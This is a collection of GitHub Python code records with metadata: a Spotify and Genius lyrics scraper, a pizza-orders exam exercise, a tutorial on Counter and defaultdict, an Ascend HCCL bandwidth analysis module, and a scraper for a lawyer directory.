"model_cnn.py", "file_ext": "py", "file_size_in_byte": 3490, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.row_stack", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.row_stack", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.row_stack", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.row_stack", "line_number": 45, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 55, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.layers.Bidirectional", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.optimizers.adam", "line_number": 78, "usage_type": "name"}, {"api_name": "keras.optimizers.adam", "line_number": 79, "usage_type": "name"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 80, "usage_type": "call"}]} {"seq_id": "29790853584", "text": "import spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\nimport pprint\nimport json\nimport requests\nimport time\nfrom bs4 import BeautifulSoup\nimport re\nimport pandas as pd\n\nfrom colorama import init, Fore, Back, Style\ninit()\n\n# datos spotify\nSPOTIFY_CLIENT_ID = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx'\nSPOTIFY_CLIENT_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'\nJAVIER_ID = 'XXXXXXXXXXXXXXXXXXXXXXXX'\n\n\n#GENIUS API (EXTRACCION DE LETRAS)\nGENIUS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'\n\n\nclient_credentials_manager = SpotifyClientCredentials(client_id=SPOTIFY_CLIENT_ID, client_secret=SPOTIFY_CLIENT_SECRET)\nsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\n\n\n\n\n#print(Fore.RED + 'some red text')\n#print(Back.GREEN + 'and with a green background')\n#print(Style.DIM + 'and in dim text')\n#print(Style.RESET_ALL)\n\n\ndf_songs = pd.DataFrame()\n\ndef get_jaccard_sim(str1, str2): \n a = set(str1.split()) \n b = set(str2.split())\n c = a.intersection(b)\n return float(len(c)) / (len(a) + len(b) - len(c)), str1\n\n\n\ndef get_lyrics(q):\n base_url = 'https://api.genius.com'\n headers = {'Authorization': 'Bearer ' + GENIUS_TOKEN}\n search_url = base_url + '/search'\n data = {'q': q}\n coef_max = 0.0\n try:\n response = requests.get(search_url, data=data, headers=headers)\n response = json.loads(response.content)\n pprint.pprint(response)\n hits = response.get('response').get('hits')\n coeficientes = []\n canciones = []\n for hit in hits:\n #print(hit)\n titulo = hit.get('result').get('full_title')\n coeficientes.append(get_jaccard_sim(titulo, q))\n canciones.append(titulo)\n print(get_jaccard_sim(titulo, q))\n coef_max, cancion = max(coeficientes)\n print(\"MAX:\",coef_max)\n print(\"CANCION:\",cancion)\n if coef_max == 0.0 :\n raise Exception(\"No coincide ninguna cancion :(\") \n indice_elegida = canciones.index(cancion)\n #print(\"ELEGIDA\", indice_elegida)\n\n # EXTRAE CANCION DESDE GENIUS\n response = requests.get(base_url + hits[indice_elegida].get('result').get('api_path'), headers=headers)\n response = json.loads(response.content) \n url_cancion = response.get('response').get('song').get('url')\n page = requests.get(url_cancion)\n html = BeautifulSoup(page.text,\"html.parser\") # Extract the page's HTML as a string\n lyrics = html.find(\"div\", class_=\"lyrics\").get_text()\n lyrics = lyrics.lower() # convierte todo a minúsculas\n shunks = lyrics.split('\\n')\n processed = []\n for shunk in shunks:\n if(shunk.startswith(\"letra de\")):\n pass\n elif(shunk.startswith(\"[\")):\n pass\n elif(len(shunk)==0):\n pass\n else:\n processed.append(shunk)\n lyrics = \" \".join(processed)\n return coef_max,lyrics\n except:\n return coef_max,\"\"\n\n\n#spotify:user:spotifycharts:playlist:37i9dQZEVXbO3qyFxbkOE1 Mexico Top 50\n\ndef show_tracks(results):\n for i, item in enumerate(results['items']):\n track = item['track']\n #print(track)\n #print(\" %d %32.32s %s\" % (i, track['artists'][0]['name'], track['name']))\n #print(i,track['artists'][0]['name'], track['name'])\n artists = [artist['name'] for artist in track['artists']]\n #print(\"\\n\")\n #print(\"artistas:\", \",\".join(artists))\n album = track['album']\n album_name = album['name']\n #print(\"album:\", album)\n #considerando solo el primer artista de la cancion\n #yield track['artists'][0]['name'],track['artists'][0]['uri'], track['name'],album_name,track['popularity'],track['explicit'],track['uri'], i\n #considerando todos los artistas de la cancion\n yield \",\".join(artists),track['artists'][0]['uri'], track['name'],album_name,track['popularity'],track['explicit'],track['uri'], i\n\ndef show_track(track):\n\n artists = [artist['name'] for artist in track['artists']]\n album = track['album']\n album_name = album['name']\n #considerando solo el primer artista de la cancion\n #yield track['artists'][0]['name'],track['artists'][0]['uri'], track['name'],album_name,track['popularity'],track['explicit'],track['uri'], i\n #considerando todos los artistas de la cancion\n return \",\".join(artists),track['artists'][0]['uri'], track['name'],album_name,track['popularity'],track['explicit'],track['uri'], i\n\n\n\nmusic = pd.read_csv(\"top_200_unicos.csv\")\nfor i,row in music.iterrows():\n artist = row['artist']\n track_name = row['track_name']\n url = row['url']\n #print(artist, track_name , url)\n urn = url.split('/')[-1:][0]\n track = sp.track(urn)\n #pprint.pprint(track)\n # TRACK_INFO\n artist_name,artist_uri, track_name ,album_name, track_popularity,explicit,tid,i = show_track(track)\n jaccard,lyrics = get_lyrics(artist_name.split(',')[0] + \" \" + track_name)\n #time.sleep(5)\n print(Back.GREEN +\"======>\"+ artist_name + \" \" + track_name)\n print(Style.RESET_ALL)\n #print(\"======>\",cantante,\"-\", titulo)\n\n #ARTIST_INFO\n artist = sp.artist(artist_uri)\n #pprint.pprint(artist)\n artist_followers = artist['followers']['total']\n artist_genres =\",\".join(artist['genres'])\n artist_popularity = artist['popularity']\n\n # AUDIO FEATURES\n audio_features = sp.audio_features(tid)[0]\n #pprint.pprint(audio_features)\n acousticness = audio_features['acousticness']\n danceability = audio_features['danceability']\n duration_ms = audio_features['duration_ms']\n energy = audio_features['energy']\n instrumentalness = audio_features['instrumentalness']\n key = audio_features['key']\n liveness = audio_features['liveness']\n loudness = audio_features['loudness']\n mode = audio_features['mode']\n speechiness = audio_features['speechiness']\n tempo = audio_features['tempo']\n time_signature = audio_features['time_signature']\n valence = audio_features['valence']\n\n #gaurdarndo en dataframe pandas\n df_songs = df_songs.append({'jaccard':jaccard,'artist':artist_name, 'artist_followers': artist_followers,'artist_genres':artist_genres,\n 'artist_popularity':artist_popularity,'track_name':track_name,'album_name':album_name,\n 'track_popularity':track_popularity,'explicit':explicit,'acousticness':acousticness,\n 'danceability':danceability,'duration_ms':duration_ms,'energy':energy,'instrumentalness':instrumentalness,\n 'key':key,'liveness':liveness,'loudness':loudness,'mode':mode,'speechiness':speechiness,'tempo':tempo,\n 'time_signature':time_signature,'valence':valence,'lyrics':lyrics\n }, ignore_index=True)\n\n print(Fore.RED + lyrics)\n print(Style.RESET_ALL)\n time.sleep(0.5)\n\ndf_songs.to_csv('spotify_1976_jaccard.csv')", "repo_name": "javierhrdez/DSMX-Spotify", "sub_path": "src/scrap_lyrics_from_csv.py", "file_name": "scrap_lyrics_from_csv.py", "file_ext": "py", "file_size_in_byte": 7054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "colorama.init", "line_number": 12, "usage_type": "call"}, {"api_name": "spotipy.oauth2.SpotifyClientCredentials", "line_number": 24, "usage_type": "call"}, {"api_name": "spotipy.Spotify", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 37, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 55, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 56, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 75, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 76, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 78, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 130, "usage_type": "call"}, {"api_name": "colorama.Back.GREEN", "line_number": 143, "usage_type": "attribute"}, {"api_name": "colorama.Back", "line_number": 143, "usage_type": "name"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 144, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 144, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 180, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 180, "usage_type": "name"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 181, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 181, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 182, "usage_type": "call"}]} {"seq_id": "29740617839", "text": "from collections import deque\n\npizza_orders = deque(int(order) for order in input().split(', '))\nemployees = [int(capacity) for capacity in input().split(', ')]\n\ntotal_pizza_made = 0\n\nwhile True:\n current_order = pizza_orders[0]\n current_employee_capacity = employees[-1]\n\n if current_employee_capacity >= current_order > 0 and current_order <= 10:\n total_pizza_made += current_order\n pizza_orders.popleft()\n employees.pop()\n\n elif current_employee_capacity < current_order > 0 and current_order <= 10:\n temp = current_order\n while current_order > 0:\n if current_order - current_employee_capacity <= 0:\n pizza_orders.popleft()\n employees.pop()\n break\n current_order -= current_employee_capacity\n pizza_orders[0] = current_order\n employees.pop()\n if not employees:\n break\n current_employee_capacity = employees[-1]\n total_pizza_made += temp\n\n if current_order <= 0 or current_order > 10:\n pizza_orders.popleft()\n\n if not employees or not pizza_orders:\n break\n\nif not pizza_orders:\n print('All orders are successfully completed!')\n print(f'Total pizzas made: {total_pizza_made}')\n print(f\"Employees: {', '.join(str(employee) for employee in employees)}\")\nelse:\n print('Not all orders are completed.')\n print(f\"Orders left: {', '.join(str(order) for order in pizza_orders)}\")", "repo_name": "neverlinked/Software-University", "sub_path": "python_advanced/Solutions to Previous Exams/02. Exam_April_2021/pizza_orders.py", "file_name": "pizza_orders.py", "file_ext": "py", "file_size_in_byte": 1487, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 3, "usage_type": "call"}]} {"seq_id": "4369597634", "text": "\"\"\"Python file to demonstrate use of modules and how they work\"\"\"\n\nfrom collections import Counter, defaultdict\nfrom ModuleII import test2\n# from ModuleII import test\n\n\n# test() Trying to call this gives you an import error, as the method is provided as part of the if __name__=='__main__' block, which prevents it\n# from being imported as python cannot find the method.\n# test2()\n# help(random) # prints the purpose of the random module in python\n# print(dir(random)) # prints the list of available methods in the random module in python.\n\ndemo_list = [1, 1, 2, 3, 1, 4, 4, 1, 2, 3,\n 2, 5, 3] # list of repeating variables\n# counter object, a counter is similar to a dictionary which outputs the count of every variable in the iterable and produces a dict like object\nc = Counter(demo_list)\nmap = {}\nfor i in c:\n map[i] = c[i]\nprint(c, map) # {1: 4, 2: 3, 3: 3, 4: 2, 5: 1}\n# trying to access an element not present in the map\ntry:\n # this generates a keyerror, because there is no variable 6 in the dictionary\n print(map[6])\nexcept KeyError as err:\n print('key not found', err)\n# in a defaultdict, we can avoid the error of not having a key by using the default value, in this case int, so whenever there is no value it outputs 0\ndict = defaultdict(int)\nfor i in map:\n dict[i] = map[i]\nprint(dict)\nprint(dict[6])\n", "repo_name": "arun0908/Python", "sub_path": "Basics/Module.py", "file_name": "Module.py", "file_ext": "py", "file_size_in_byte": 1344, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.Counter", "line_number": 17, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 29, "usage_type": "call"}]} {"seq_id": "23320800965", "text": "from training.utils.result import ExtendResult\nfrom utils.constant import Constant\n\n\ndef op_bandwidth_analysis(op_bandwidth_info, iteration_num, analysis_op_name):\n rank_list = []\n transit_time_list = []\n for rank_id, op_info in op_bandwidth_info:\n rank_list.append(rank_id)\n cur_op_info = op_info.get(iteration_num)\n transit_time_list.append(float(format(cur_op_info[1], \".2f\")))\n max_transit_time = max(transit_time_list)\n min_bandwidth_rank = rank_list[transit_time_list.index(max_transit_time)]\n min_bandwidth_rank_info = op_bandwidth_info[transit_time_list.index(max_transit_time)]\n transit_size_info = min_bandwidth_rank_info[1].get(iteration_num)[3]\n transit_time_info = min_bandwidth_rank_info[1].get(iteration_num)[4]\n sdma_transit_size, sdma_bandwidth = 0, 0\n sdma_total_transit_time = 0\n hccs_transit_size, hccs_bandwidth = \\\n get_transit_size_and_bandwidth(transit_size_info, transit_time_info, Constant.HCCS)\n sdma_transit_size += hccs_transit_size\n pcie_transit_size, pcie_bandwidth = \\\n get_transit_size_and_bandwidth(transit_size_info, transit_time_info, Constant.PCIE)\n sdma_transit_size += pcie_transit_size\n rdma_transit_size, rdma_bandwidth = \\\n get_transit_size_and_bandwidth(transit_size_info, transit_time_info, Constant.RDMA)\n if transit_size_info.get(Constant.SDMA) is not None:\n for k, v in transit_size_info.get(Constant.SDMA).items():\n sdma_transit_size += k * v\n if sdma_transit_size > 0:\n sdma_total_transit_time = transit_time_info.get(Constant.HCCS, 0) + \\\n transit_time_info.get(Constant.PCIE, 0) + \\\n transit_time_info.get(Constant.SDMA, 0)\n sdma_bandwidth = sdma_transit_size / Constant.B_TO_G / (sdma_total_transit_time / Constant.MS_TO_S)\n\n hccs_utilization = float(format(hccs_bandwidth / Constant.LINK_BANDWIDTH[Constant.HCCS], \".2f\"))\n pcie_utilization = float(format(pcie_bandwidth / Constant.LINK_BANDWIDTH[Constant.PCIE], \".2f\"))\n rdma_utilization = float(format(rdma_bandwidth / Constant.LINK_BANDWIDTH[Constant.RDMA], \".2f\"))\n\n hccs_large_packet_flag = \\\n hccs_transit_size > 0 and hccs_utilization < Constant.BANDWIDTH_THRESHOLD and \\\n op_message_size_analysis(transit_size_info, Constant.HCCS)\n pcie_large_packet_flag = \\\n pcie_transit_size > 0 and pcie_utilization < Constant.BANDWIDTH_THRESHOLD and \\\n op_message_size_analysis(transit_size_info, Constant.PCIE)\n rdma_large_packet_flag = \\\n rdma_transit_size > 0 and rdma_utilization < Constant.BANDWIDTH_THRESHOLD and \\\n op_message_size_analysis(transit_size_info, Constant.RDMA)\n\n band_info = {\n Constant.SDMA: [sdma_transit_size, sdma_total_transit_time, sdma_bandwidth],\n Constant.HCCS: [hccs_transit_size, transit_time_info.get(Constant.HCCS, 0),\n hccs_bandwidth, hccs_utilization, hccs_large_packet_flag],\n Constant.PCIE: [pcie_transit_size, transit_time_info.get(Constant.PCIE, 0),\n pcie_bandwidth, pcie_utilization, pcie_large_packet_flag],\n Constant.RDMA: [rdma_transit_size, transit_time_info.get(Constant.RDMA, 0),\n rdma_bandwidth, rdma_utilization, rdma_large_packet_flag]\n }\n op_bandwidth_detail_extend_result = \\\n get_op_bandwidth_detail_result(min_bandwidth_rank, band_info, analysis_op_name)\n op_bandwidth_analysis_extend_result = \\\n get_op_bandwidth_bottleneck_info(band_info, analysis_op_name)\n return transit_size_info, op_bandwidth_detail_extend_result, op_bandwidth_analysis_extend_result\n\n\ndef get_op_bandwidth_detail_result(rank_id, band_info, analysis_op_name):\n op_bandwidth_detail_extend_result = {\n 'value': [],\n 'extend_title': f\"Communication OP {analysis_op_name} Bandwidth Detail (rank: {rank_id})\"\n }\n\n sdma_value = get_communication_link_value(Constant.SDMA, band_info.get(Constant.SDMA))\n op_bandwidth_detail_extend_result.get('value').append(sdma_value)\n hccs_value = get_communication_link_value(Constant.HCCS, band_info.get(Constant.HCCS))\n op_bandwidth_detail_extend_result.get('value').append(hccs_value)\n pcie_value = get_communication_link_value(Constant.PCIE, band_info.get(Constant.PCIE))\n op_bandwidth_detail_extend_result.get('value').append(pcie_value)\n rdma_value = get_communication_link_value(Constant.RDMA, band_info.get(Constant.RDMA))\n op_bandwidth_detail_extend_result.get('value').append(rdma_value)\n return op_bandwidth_detail_extend_result\n\n\ndef get_communication_link_value(transport_type, info):\n value = [\n transport_type,\n \"{:.2f}\".format(info[0] / (1024 ** 2)),\n \"{:.2f}\".format(info[1]),\n \"{:.2f}\".format(info[2])\n ]\n if transport_type == Constant.SDMA:\n value.append(\"None(None/None)\")\n else:\n bandwidth = Constant.LINK_BANDWIDTH[transport_type]\n value.append(\"{}({}/{})\".format(info[3], info[2], bandwidth))\n return value\n\n\ndef get_op_bandwidth_bottleneck_info(band_info, analysis_op_name):\n op_bandwidth_analysis_extend_result = ExtendResult()\n op_bandwidth_analysis_extend_result.type = Constant.EXTEND_TYPE[Constant.LIST]\n op_bandwidth_analysis_extend_result.data_type.append(Constant.EXTEND_DATA_TYPE[Constant.STR])\n op_bandwidth_analysis_extend_result.extend_title = \\\n f\"Communication operator {analysis_op_name} bandwidth analysis result:\"\n if band_info.get(Constant.SDMA)[0] > band_info.get(Constant.RDMA)[0]:\n op_bandwidth_analysis_extend_result.value.append(\"SDMA Communication is the Dominated Bottleneck\")\n else:\n op_bandwidth_analysis_extend_result.value.append(\"RDMA Communication is the Dominated Bottleneck\")\n hccs_analysis_result = get_op_bandwidth_analysis_result(Constant.HCCS, band_info.get(Constant.HCCS))\n if hccs_analysis_result:\n op_bandwidth_analysis_extend_result.value.append(hccs_analysis_result)\n pcie_analysis_result = get_op_bandwidth_analysis_result(Constant.PCIE, band_info.get(Constant.PCIE))\n if pcie_analysis_result:\n op_bandwidth_analysis_extend_result.value.append(pcie_analysis_result)\n rdma_analysis_result = get_op_bandwidth_analysis_result(Constant.RDMA, band_info.get(Constant.RDMA))\n if rdma_analysis_result:\n op_bandwidth_analysis_extend_result.value.append(rdma_analysis_result)\n return op_bandwidth_analysis_extend_result\n\n\ndef get_op_bandwidth_analysis_result(transport_type, info):\n value = None\n if info[0] <= 0:\n return value\n if info[3] < Constant.BANDWIDTH_THRESHOLD:\n if info[4]:\n if transport_type == Constant.PCIE:\n value = f\"{transport_type} Bandwidth between P2P is inefficiency, the utilization is {info[3]}, \" \\\n f\"please check pcie bandwidth contention\"\n\n if transport_type == Constant.HCCS:\n value = f\"{transport_type} Bandwidth is inefficiency, the utilization is {info[3]}, \" \\\n f\"please check hccs config\"\n\n if transport_type == Constant.RDMA:\n value = f\"{transport_type} Bandwidth is inefficiency, the utilization is {info[3]}, \" \\\n f\"please check switch config\"\n\n else:\n if transport_type == Constant.PCIE:\n value = f\"{transport_type} Bandwidth between P2P is inefficiency, the utilization is {info[3]}, \" \\\n f\"Cause the packet is too small\"\n else:\n value = f\"{transport_type} Bandwidth is inefficiency, the utilization is {info[3]}, \" \\\n f\"Cause the packet is too small\"\n else:\n value = f\"{transport_type} Bandwidth is fully utilized\"\n return value\n\n\ndef op_message_size_analysis(message_size_info, message_type):\n message_size = message_size_info.get(message_type)\n packet_num = 0\n large_packet_num = 0\n message_size_threshold = Constant.MESSAGE_SIZE_THRESHOLD.get(message_type)\n for k, v in message_size.items():\n cur_message_size = k / 1024 / 1024\n if cur_message_size >= message_size_threshold:\n large_packet_num += v\n packet_num += v\n if packet_num:\n large_packet_ratio = large_packet_num / packet_num\n else:\n large_packet_ratio = 0\n return large_packet_ratio >= Constant.LARGE_MESSAGE_RATE\n\n\ndef get_transit_size_and_bandwidth(transit_size_info, transit_time_info, transport_type):\n transit_size = 0\n bandwidth = 0\n if transit_size_info.get(transport_type) is not None:\n for data_size, num in transit_size_info.get(transport_type).items():\n transit_size += data_size * num\n bandwidth = float(format(\n transit_size / Constant.B_TO_G / (transit_time_info.get(transport_type) / Constant.MS_TO_S), \".2f\")\n )\n return transit_size, bandwidth\n", "repo_name": "Ascend/msadvisor", "sub_path": "training/hccl_analysis_model/hccl_analysis_tool/op_bandwidth_analysis_.py", "file_name": "op_bandwidth_analysis_.py", "file_ext": "py", "file_size_in_byte": 8954, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "utils.constant.Constant.HCCS", "line_number": 20, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 20, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 23, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 26, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 26, "usage_type": "name"}, {"api_name": "utils.constant.Constant.SDMA", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 27, "usage_type": "name"}, {"api_name": "utils.constant.Constant.SDMA", "line_number": 28, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 28, "usage_type": "name"}, {"api_name": "utils.constant.Constant.HCCS", "line_number": 31, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 31, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 32, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 32, "usage_type": "name"}, {"api_name": "utils.constant.Constant.SDMA", "line_number": 33, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 33, "usage_type": "name"}, {"api_name": "utils.constant.Constant.B_TO_G", "line_number": 34, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 34, "usage_type": "name"}, {"api_name": "utils.constant.Constant.MS_TO_S", "line_number": 34, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.LINK_BANDWIDTH", "line_number": 36, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 36, "usage_type": "name"}, {"api_name": "utils.constant.Constant.HCCS", "line_number": 36, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.LINK_BANDWIDTH", "line_number": 37, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 37, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 37, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.LINK_BANDWIDTH", "line_number": 38, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 38, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 38, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.BANDWIDTH_THRESHOLD", "line_number": 41, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 41, "usage_type": "name"}, {"api_name": "utils.constant.Constant.HCCS", "line_number": 42, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 42, "usage_type": "name"}, {"api_name": "utils.constant.Constant.BANDWIDTH_THRESHOLD", "line_number": 44, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 44, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 45, "usage_type": "name"}, {"api_name": "utils.constant.Constant.BANDWIDTH_THRESHOLD", "line_number": 47, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 47, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 48, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 48, "usage_type": "name"}, {"api_name": "utils.constant.Constant.SDMA", "line_number": 51, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 51, "usage_type": "name"}, {"api_name": "utils.constant.Constant.HCCS", "line_number": 52, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 52, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 54, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 54, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 56, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 56, "usage_type": "name"}, {"api_name": "utils.constant.Constant.SDMA", "line_number": 72, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 72, "usage_type": "name"}, {"api_name": "utils.constant.Constant.HCCS", "line_number": 74, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 74, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 76, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 78, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 78, "usage_type": "name"}, {"api_name": "utils.constant.Constant.SDMA", "line_number": 90, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 90, "usage_type": "name"}, {"api_name": "utils.constant.Constant.LINK_BANDWIDTH", "line_number": 93, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 93, "usage_type": "name"}, {"api_name": "training.utils.result.ExtendResult", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.constant.Constant.EXTEND_TYPE", "line_number": 100, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 100, "usage_type": "name"}, {"api_name": "utils.constant.Constant.LIST", "line_number": 100, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.EXTEND_DATA_TYPE", "line_number": 101, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 101, "usage_type": "name"}, {"api_name": "utils.constant.Constant.STR", "line_number": 101, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.SDMA", "line_number": 104, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 104, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 104, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.HCCS", "line_number": 108, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 108, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 111, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 111, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 114, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 114, "usage_type": "name"}, {"api_name": "utils.constant.Constant.BANDWIDTH_THRESHOLD", "line_number": 124, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 124, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 126, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 126, "usage_type": "name"}, {"api_name": "utils.constant.Constant.HCCS", "line_number": 130, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 130, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RDMA", "line_number": 134, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 134, "usage_type": "name"}, {"api_name": "utils.constant.Constant.PCIE", "line_number": 139, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 139, "usage_type": "name"}, {"api_name": "utils.constant.Constant.MESSAGE_SIZE_THRESHOLD.get", "line_number": 154, "usage_type": "call"}, {"api_name": "utils.constant.Constant.MESSAGE_SIZE_THRESHOLD", "line_number": 154, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 154, "usage_type": "name"}, {"api_name": "utils.constant.Constant.LARGE_MESSAGE_RATE", "line_number": 164, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 164, "usage_type": "name"}, {"api_name": "utils.constant.Constant.B_TO_G", "line_number": 174, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 174, "usage_type": "name"}, {"api_name": "utils.constant.Constant.MS_TO_S", "line_number": 174, "usage_type": "attribute"}]} {"seq_id": "6722976476", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport csv\nfrom itertools import zip_longest\n\n\nHEADERS = ({'User-Agent':\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \\\n AppleWebKit/537.36 (KHTML, like Gecko) \\\n Chrome/90.0.4430.212 Safari/537.36',\n 'Accept-Language': 'en-US, en;q=0.5'})\n\ndef getAllPages():\n urls = []\n nbPage = 1\n \n for i in range(104):\n i = f\"https://www.barreaudenice.com/annuaire/avocats/?fwp_paged={nbPage}\"\n nbPage += 1\n urls.append(i)\n return urls\n\ndef parser():\n pages = getAllPages()\n for p in pages:\n r = requests.get(p, headers=HEADERS)\n soup = BeautifulSoup(r.content, \"lxml\")\n avocats = soup.find_all('div', class_ = 'callout secondary annuaire-single')\n \n for avocat in avocats:\n nom = avocat.find('h3', class_ = 'nom-prenom').text.strip()\n path = r\"./data.txt\"\n \n with open(path, \"a\") as f:\n f.write(f\"{nom}\\n\")\n \n \nparser()\n", 